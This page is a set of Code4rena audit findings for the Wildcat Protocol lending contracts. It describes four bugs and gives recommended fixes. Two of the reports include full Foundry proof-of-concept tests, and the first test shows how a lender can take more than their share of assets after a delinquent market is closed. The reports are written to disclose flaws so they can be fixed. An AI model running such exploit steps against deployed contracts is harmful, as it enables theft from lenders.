The Wildcat Protocol - hash's results

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarket.sol#L142-L160

Vulnerability details

Impact

If timeDelinquent is above gracePeriod at the time of closing the market, the scaleFactor will increase with time making the scaledAmount worth more in the future. This will distribute the assets allotted at the time of market close incorrectly and can allow a lender to steal other lenders assets.

Proof of Concept

The closeMarket function doesn't reset timeDeliqnuent to 0

  function closeMarket() external onlyController nonReentrant {
    MarketState memory state = _getUpdatedState();
    state.annualInterestBips = 0;
    state.isClosed = true;
    state.reserveRatioBips = 0;
    if (_withdrawalData.unpaidBatches.length() > 0) {
      revert CloseMarketWithUnpaidWithdrawals();
    }
    
    ..... more code

    _writeState(state);
    emit MarketClosed(block.timestamp);

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarket.sol#L142-L160

The scaleFactor gets incremented if the timeDelinquent is over the gracePeriod even if isDelinquent is false

  function updateScaleFactorAndFees(
    MarketState memory state,
    uint256 protocolFeeBips,
    uint256 delinquencyFeeBips,
    uint256 delinquencyGracePeriod,
    uint256 timestamp
  )
    internal
    pure
    returns (uint256 baseInterestRay, uint256 delinquencyFeeRay, uint256 protocolFee)
  {
    
    ...... more code 

    if (delinquencyFeeBips > 0) {
      delinquencyFeeRay = state.updateDelinquency(
        timestamp,
        delinquencyFeeBips,
        delinquencyGracePeriod
      );
    }


    // Calculate new scaleFactor
    uint256 prevScaleFactor = state.scaleFactor;
    uint256 scaleFactorDelta = prevScaleFactor.rayMul(baseInterestRay + delinquencyFeeRay);

    state.scaleFactor = (prevScaleFactor + scaleFactorDelta).toUint112();
    state.lastInterestAccruedTimestamp = uint32(timestamp);
  }

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/libraries/FeeMath.sol#L142-L173

  function updateDelinquency(
    MarketState memory state,
    uint256 timestamp,
    uint256 delinquencyFeeBips,
    uint256 delinquencyGracePeriod
  ) internal pure returns (uint256 delinquencyFeeRay) {
    // Calculate the number of seconds the borrower spent in penalized
    // delinquency since the last update.
    uint256 timeWithPenalty = updateTimeDelinquentAndGetPenaltyTime(
      state,
      delinquencyGracePeriod,
      timestamp - state.lastInterestAccruedTimestamp
    );


    if (timeWithPenalty > 0) {
      // Calculate penalty fees on the interest accrued.
      delinquencyFeeRay = calculateLinearInterestFromBips(delinquencyFeeBips, timeWithPenalty);
    }
  }

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/libraries/FeeMath.sol#L53-L71

Hence if at the time of closeMarket, the timeDelinquent is over gracePeriod, it will continue to increase scaleFactor until it falls below gracePeriod. This favors a lender who is able to withdraw the amount at a higher scaleFactor than at the time of closing. A lender who is early to withdraw can repeatedly call the updateState function to compound the fee and further increase the profit

Demo

1. Add the following file in the test folder and run forge test --mt testLenderCanStealOnCloseIfDelinquent -vvv

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.20;

import { MockERC20 } from 'solmate/test/utils/mocks/MockERC20.sol';

import './shared/Test.sol';
import './shared/TestConstants.sol';
import {MarketStateLib} from "../src/libraries/MarketState.sol";

contract TestPending is Test {
  using stdStorage for StdStorage;
  using FeeMath for MarketState;
  using SafeCastLib for uint256;

  MockERC20 internal asset;

  function setUp() public {
    setUpContracts(false);
  }

  function setUpContracts(bool disableControllerChecks) internal {
    if (address(controller) == address(0)) {
      deployController(borrower, false, disableControllerChecks);
    }
  }

  MarketParameters internal parameters;

  function testLenderCanStealOnCloseIfDelinquent() public {

    uint16  delinquencyFee = DefaultDelinquencyFee;
    uint32  gracePeriod =  DefaultGracePeriod;
    uint128 maxTotalSupply = 500_000e18; // increased for the ease of calculations below
    
    parameters =
    MarketParameters({
      asset: address(0),
      namePrefix: 'Wildcat ',
      symbolPrefix: 'WC',
      borrower: borrower,
      controller: address(0),
      feeRecipient: feeRecipient,
      sentinel: address(sanctionsSentinel),
      maxTotalSupply: maxTotalSupply,
      protocolFeeBips: DefaultProtocolFeeBips,
      annualInterestBips: DefaultInterest,
      delinquencyFeeBips: delinquencyFee,
      withdrawalBatchDuration: DefaultWithdrawalBatchDuration,
      reserveRatioBips: DefaultReserveRatio,
      delinquencyGracePeriod: gracePeriod
    });

    parameters.controller = address(controller);
    parameters.asset = address(asset = new MockERC20('Token', 'TKN', 18));
    deployMarket(parameters);
    _authorizeLender(alice);
    _authorizeLender(bob);
    asset.mint(alice, type(uint128).max);
    asset.mint(bob, type(uint128).max);

    _approve(alice, address(market), type(uint256).max);
    _approve(bob, address(market), type(uint256).max);

    
        uint256 availableCollateral = market.borrowableAssets();
        assertEq(availableCollateral, 0, 'borrowable should be 0');
    
        vm.prank(alice);
        market.depositUpTo(120_000e18);
        vm.prank(bob);
        market.depositUpTo(80_000e18);
        assertEq(market.borrowableAssets(), 160_000e18, 'borrowable should be 160k');
        vm.prank(borrower);
        market.borrow(160_000e18);
        assertEq(asset.balanceOf(borrower), 160_000e18);

        // alice withdraws: to make market delinquent and also the balances of alice and bob same
        vm.prank(alice);
        market.queueWithdrawal(40_000e18);
        assertEq(market.currentState().normalizedUnclaimedWithdrawals,40_000e18 );
        assertEq(market.currentState().isDelinquent,true);

        uint32 expiry = uint32(block.timestamp + parameters.withdrawalBatchDuration);
        vm.warp(expiry);
        market.executeWithdrawal(alice,uint32(expiry));

        // now alice and bob have the same remaining balances
        assertEq(market.balanceOf(alice),market.balanceOf(alice));

        // increase time go over the delinquent grace period 
        vm.warp(block.timestamp + 2 * gracePeriod);

        // borrower decides to repay and close the market
        uint256 currentFullDebt = market.totalSupply();
        asset.mint(borrower, type(uint128).max);
        _approve(borrower, address(market), type(uint256).max);
        vm.prank(address(controller));
        market.closeMarket();

        // move protocol fees to feeRecipient
        market.collectFees();

        // both alice and bob have the same amount of unpaid debt remaining and hence expects to receive the same amount of assets
        uint256 totalAssets = market.totalAssets();
        uint aliceInitialBalance = market.balanceOf(alice);
        uint bobInitialBalance = market.balanceOf(bob);
        assertEq(aliceInitialBalance,bobInitialBalance);
        assertEq(aliceInitialBalance + bobInitialBalance,totalAssets);


        // but since timeDelinquent is greater than gracePeriod, the scaleFactor will increase due to delinquency making the first lender withdrawing, gain more than the other lenders
        assertGt(market.currentState().timeDelinquent, gracePeriod);
        vm.warp( block.timestamp + market.currentState().timeDelinquent);

        asset.burn(alice,asset.balanceOf(alice));
        asset.burn(bob,asset.balanceOf(bob));
       // _requestWithdrawal(alice, withdrawalAmount);
       // uint256 expiry = block.timestamp + parameters.withdrawalBatchDuration;

        uint aliceBalanceAfterDelinquencyAccrual = market.balanceOf(alice);
        uint bobBalanceAfterDelinquencyAccrual = market.balanceOf(bob);

        assertGt(aliceBalanceAfterDelinquencyAccrual + bobBalanceAfterDelinquencyAccrual ,aliceInitialBalance +  bobInitialBalance);
        assertGt(aliceBalanceAfterDelinquencyAccrual + bobBalanceAfterDelinquencyAccrual , market.totalAssets());

        // alice withdraws more than bob
        vm.prank(alice);
        market.queueWithdrawal(aliceBalanceAfterDelinquencyAccrual);
        expiry = uint32(block.timestamp + parameters.withdrawalBatchDuration);
        vm.warp( expiry);
        market.executeWithdrawal(alice,uint32(expiry));
        
        console.log("Alice withdrawn amount",asset.balanceOf(alice));
        console.log("Bob possible to withdraw amount",asset.balanceOf(address(market)));

        assertGt(asset.balanceOf(alice),asset.balanceOf(address(market)));
  }

  function _authorizeLender(address account) internal asAccount(parameters.borrower) {
    address[] memory lenders = new address[](1);
    lenders[0] = account;
    controller.authorizeLenders(lenders);
  }

 

  function _approve(address from, address to, uint256 amount) internal asAccount(from) {
    asset.approve(to, amount);
  }
}

Recommended Mitigation Steps

Set timeDelinquent to 0 when closing the market

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarket.sol#L142

Vulnerability details

Impact

Markets cannot be closed which would mean a never ending debt.

Proof of Concept

The closeMarket function has an onlyController modifier which makes it only callable by the controller.

  function closeMarket() external onlyController nonReentrant {

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarket.sol#L142

But in the current implementation, there is no functionality to invoke the closeMarket() function inside a controller.

Recommended Mitigation Steps

Either change the modifier to onlyBorrower or add a function to invoke the closeMarket function inside the controller.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketConfig.sol#L134

Vulnerability details

Impact

Borrower's cannot change the _maxTotalSupply once the market has been initialized.

Proof of Concept

The setMaxTotalSupply function is the only function that can modify the _maxTotalSupply variable and has onlyController modifier which disallows calling the function from any other account.

  function setMaxTotalSupply(uint256 _maxTotalSupply) external onlyController nonReentrant {

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketConfig.sol#L134

But there is no function implemented in WildcatMarketController.sol that calls this function.

Recommended Mitigation Steps

Add a corresponding method in WildcatMarketController.sol

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L358-L388

Vulnerability details

Impact

The borrower will have to pay the interest and fees till the end of the withdrawal cycle.

Proof of Concept

To repay a lender who has requested for withdrawal, the borrower is supposed to transfer the assets to the market and call the updateState() function. But _getUpdatedState() function inside the updateState doesn't process the withdrawal batch with the latest available assets unless the batch has been expired. https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L358-L388

  function _getUpdatedState() internal returns (MarketState memory state) {
    state = _state;
    // Handle expired withdrawal batch
    if (state.hasPendingExpiredBatch()) {
      uint256 expiry = state.pendingWithdrawalExpiry;
      // Only accrue interest if time has passed since last update.
      
       ...... more code 

      _processExpiredWithdrawalBatch(state);
    }

    // Apply interest and fees accrued since last update (expiry or previous tx)
    if (block.timestamp != state.lastInterestAccruedTimestamp) {
      (uint256 baseInterestRay, uint256 delinquencyFeeRay, uint256 protocolFee) = state
        .updateScaleFactorAndFees(
          protocolFeeBips,
          delinquencyFeeBips,
          delinquencyGracePeriod,
          block.timestamp
        );
      emit ScaleFactorUpdated(state.scaleFactor, baseInterestRay, delinquencyFeeRay, protocolFee);
    }
  }

This will lead to the borrower paying the interest and fees even though the pending withdrawal debt has been repayed to the market.

Demo

1. Add the following file in the test folder and run forge test --mt testBorrowerHasToPayInterestTillTheCycleEndEvenAfterReturningAsset

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.20;

import { MockERC20 } from 'solmate/test/utils/mocks/MockERC20.sol';

import './shared/Test.sol';
import './helpers/VmUtils.sol';
import './helpers/MockController.sol';
import './helpers/ExpectedStateTracker.sol';
import {MarketStateLib} from "../src/libraries/MarketState.sol";

contract TestPending is Test {
  using stdStorage for StdStorage;
  using FeeMath for MarketState;
  using SafeCastLib for uint256;

  MockERC20 internal asset;

  function setUp() public {
    setUpContracts(false);
  }

  function setUpContracts(bool disableControllerChecks) internal {
    if (address(controller) == address(0)) {
      deployController(borrower, false, disableControllerChecks);
    }
  }

  MarketParameters internal parameters;

  function testBorrowerHasToPayInterestTillTheCycleEndEvenAfterReturningAsset() public {
    uint32 withdrawalBatchDuration =  DefaultWithdrawalBatchDuration; // 86400
    uint16  delinquencyFee = DefaultDelinquencyFee;
    uint32  gracePeriod =  DefaultGracePeriod;
    
    parameters =
    MarketParameters({
      asset: address(0),
      namePrefix: 'Wildcat ',
      symbolPrefix: 'WC',
      borrower: borrower,
      controller: address(0),
      feeRecipient: feeRecipient,
      sentinel: address(sanctionsSentinel),
      maxTotalSupply: uint128(DefaultMaximumSupply),
      protocolFeeBips: DefaultProtocolFeeBips,
      annualInterestBips: DefaultInterest,
      delinquencyFeeBips: delinquencyFee,
      withdrawalBatchDuration: withdrawalBatchDuration,
      reserveRatioBips: DefaultReserveRatio,
      delinquencyGracePeriod: gracePeriod
    });

    parameters.controller = address(controller);
    parameters.asset = address(asset = new MockERC20('Token', 'TKN', 18));
    deployMarket(parameters);
    _authorizeLender(alice);
    asset.mint(alice, type(uint128).max);
    asset.mint(bob, type(uint128).max);

    _approve(alice, address(market), type(uint256).max);
    _approve(bob, address(market), type(uint256).max);

    
        uint256 availableCollateral = market.borrowableAssets();
        assertEq(availableCollateral, 0, 'borrowable should be 0');
    
        vm.prank(alice);
        market.depositUpTo(50_000e18);
        assertEq(market.borrowableAssets(), 40_000e18, 'borrowable should be 40k');
        vm.prank(borrower);
        market.borrow(40_000e18);
        assertEq(asset.balanceOf(borrower), 40_000e18);
      
        // alice requests to withdraw the deposit
        vm.prank(alice);
        market.queueWithdrawal(50_000e18);

        // 10_000 is filled with alices own amount. due to remaining the market has become delinquent
        assertEq(market.currentState().isDelinquent,true);

        uint128 normalizedUnclaimedWithdrawals = market.currentState().normalizedUnclaimedWithdrawals;        
        uint256 pendingDebt = market.totalSupply();
        assertEq(normalizedUnclaimedWithdrawals,10_000e18);
        assertEq(pendingDebt,40_000e18);

      // borrower deposits the debt back to avoid the delinquency fee. 
        vm.prank(borrower);
        asset.transfer(address(market),40_000e18);
        market.updateState();
        
        // but since not expired, the pending withdrawal debt is not closed making the borrower pay interest till the cycle end
        assertEq(market.totalSupply(),pendingDebt); 
       
        fastForward(withdrawalBatchDuration);
        market.updateState();

        // when expriy time passes the pending withdrawal debt will be matched with repayed debt and the protocol fee. but interest generated by this amount still remains
        uint initialTotalAmount = normalizedUnclaimedWithdrawals + pendingDebt;
        assertEq(market.currentState().normalizedUnclaimedWithdrawals + market.currentState().accruedProtocolFees,initialTotalAmount);
        uint extraDebtFromInterestExculdingTheProtocolFee = market.totalSupply();

        assertGt(extraDebtFromInterestExculdingTheProtocolFee,0);
        
  }

  function _authorizeLender(address account) internal asAccount(parameters.borrower) {
    address[] memory lenders = new address[](1);
    lenders[0] = account;
    controller.authorizeLenders(lenders);
  }

 

  function _approve(address from, address to, uint256 amount) internal asAccount(from) {
    asset.approve(to, amount);
  }
}

Recommended Mitigation Steps

Use _applyWithdrawalBatchPayment() in _getUpdatedState() similar to the implementation in queueWithdrawal()

Assessed type

Timing